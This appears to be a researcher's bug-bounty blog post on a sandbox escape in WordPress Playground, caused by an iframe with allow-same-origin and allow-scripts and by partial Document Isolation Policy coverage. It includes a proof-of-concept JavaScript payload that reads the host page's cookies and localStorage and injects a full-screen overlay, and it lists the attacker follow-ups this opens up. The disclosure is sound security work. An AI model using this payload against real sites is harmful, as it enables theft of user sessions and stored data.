November 5, 2026
The Jail That Gave Its Prisoner a Staff Badge: Escaping WordPress Playgroundโs Sandbox
A sandbox escape in playground.wordpress.net, one iframe attribute, and a $0 lesson in bug bounty timing.

By Burrito
4 min read
The Setup
WordPress Playground is genuinely one of the coolest things on the internet: it runs a complete WordPress site inside your browser tab using WebAssembly. No server, no install, no database. Click a link, get a WordPress.
Naturally, my first thought as a security researcher was: "a WordPress that lives in a browser tabโฆ running in an iframeโฆ what's keeping it in there?"
Great question. Terrible answer. Let me show you.
How the Jail Works (and How It Doesn't)
The WordPress site runs inside an <iframe> with a sandbox attribute โ the browser's version of a jail cell. Content inside a sandboxed iframe can't touch the parent page unless the jailer hands out permission slips. Each permission is a flag.
Here is the actual jail configuration, live from the host app (remote/remote.html):
<iframe
sandbox="allow-same-origin allow-scripts allow-popups allow-forms allow-downloads allow-modals"
...><iframe
sandbox="allow-same-origin allow-scripts allow-popups allow-forms allow-downloads allow-modals"
...>Two of those flags deserve a close-up:
allow-scriptsโ "Prisoner, here's a phone. You can call anyone." ๐ฑallow-same-originโ "Also, here's a staff uniform, a badge, and access to the staff group chat. Everyone will now treat you as staff." ๐ฎ
There's a rule every browser-security tutorial repeats like a bedtime prayer:
allow-same-origin+allow-scripts= the sandbox does not exist.
Because "same origin" means the iframe content is treated as the same website as the host app. And "scripts" means it can act. Put together, the prisoner doesn't escape the jail โ the prisoner becomes the jail.
"Surely the WordPress team knows this," you say. "They must have a clever mitigation!"
They do! It's called the Document Isolation Policy (DIP) โ a modern browser feature that forces a page into its own isolated origin no matter what the iframe says. And they apply it in their service worker:
// remote/service-worker.ts โ paraphrased
function applyCrossOriginIsolationHeaders(response) {
if (response already carries a COEP header) {
// rewrite into DIP โ isolate it ๐
}
// otherwise: pass through untouched ๐คท
}// remote/service-worker.ts โ paraphrased
function applyCrossOriginIsolationHeaders(response) {
if (response already carries a COEP header) {
// rewrite into DIP โ isolate it ๐
}
// otherwise: pass through untouched ๐คท
}The isolation is only applied to responses that already have a COEP header โ the editor/admin pages. Regular front-end pages โ the default landing surface of any blueprint โ get no isolation at all.
The guard checks badges only at the VIP door. The main entrance? Wide open, self-service, complimentary cookies.
The Proof
Blueprints are Playground's superpower: a JSON config in a URL that builds a WordPress instance exactly how you want. Which also means anyone can send anyone a link that creates a WordPress containing attacker-chosen content.
So my blueprint did something very rude:
- Write an innocent-looking page (
/xss-demo.html) into the WordPress instance - Land the victim on it
- The page's script โ "just site content" โ reaches up with
window.topand pokes the host application itself
(function () {
var top = window.top; // โ hello, host app
top.document.title; // read host page
Object.keys(top.localStorage); // read host storage
top.document.cookie; // read host cookies
var box = top.document.createElement('div'); // inject FULL-SCREEN UI
box.style.cssText = 'position:fixed;inset:0;z-index:2147483647;...';
box.innerHTML = '<h1>XSS โ playground.wordpress.net</h1>โฆ';
top.document.body.appendChild(box); // โฆinto the HOST app
top.alert('XSS fired from inside the WordPress sandbox!');
})();(function () {
var top = window.top; // โ hello, host app
top.document.title; // read host page
Object.keys(top.localStorage); // read host storage
top.document.cookie; // read host cookies
var box = top.document.createElement('div'); // inject FULL-SCREEN UI
box.style.cssText = 'position:fixed;inset:0;z-index:2147483647;...';
box.innerHTML = '<h1>XSS โ playground.wordpress.net</h1>โฆ';
top.document.body.appendChild(box); // โฆinto the HOST app
top.alert('XSS fired from inside the WordPress sandbox!');
})();And the moment of truth โ the classic victory screech, coming from the host origin:
The red banner below is my script, injected into the host application's UI, announcing the escape while the real Playground toolbar sits right under it:
And the full overlay with everything it read from the host: document.title, localStorage keys, cookie names โ with a friendly note about what a real attacker would do next:
What a Real Attacker Gets
Same steps, evil intent, one crafted link, one click, zero authentication:
- Read and modify the host origin's cookies and localStorage
- Read the host's OPFS storage โ where Playground's Site Manager keeps every site the user ever saved, files and databases included
- Inject convincing UI into the host app โ phishing or keylogging inside the app
- Exfiltrate everything anywhere
The Verdict ๐ธ
"This has been reported earlier and we are aware of this. We'll be closing this as duplicate."
Duplicate โ an earlier report by another researcher, submitted a whole month before mine.
The prisoner had been walking out of that jail wearing a staff badge for a month before I noticed the open door. Respect to whoever found it first โ that's elite jail-break efficiency.
Lessons
- A duplicate is a tattoo that says "you were right." The bug was real, and got fixed. It just pays in bragging rights instead of cash.
- The classic bugs never die, they just wear costumes. This is literally "two iframe flags that shouldn't be together" โ a 2010 lesson running a 2026 product.
- Defense in depth means all the depths. A correct-by-design mitigation (DIP) that's applied to half the responses is a mitigation with a trapdoor.
- Speed is a skill too. The difference between $0 and $X here was purely when you hit submit. The finish line is a timestamp.
TL;DR
- Bug: Sandbox escape via
allow-same-origin+allow-scriptsiframe, with DIP applied only to COEP-carrying responses - One-liner: The jail gave the prisoner a staff badge
- Severity: High
- Live proof:
alert()from the host origin + full-screen overlay injected into the host app + host cookies/localStorage read - Result: Duplicate โ someone reported it a month earlier
- Bounty: $0
- Lesson: Fundamentals never die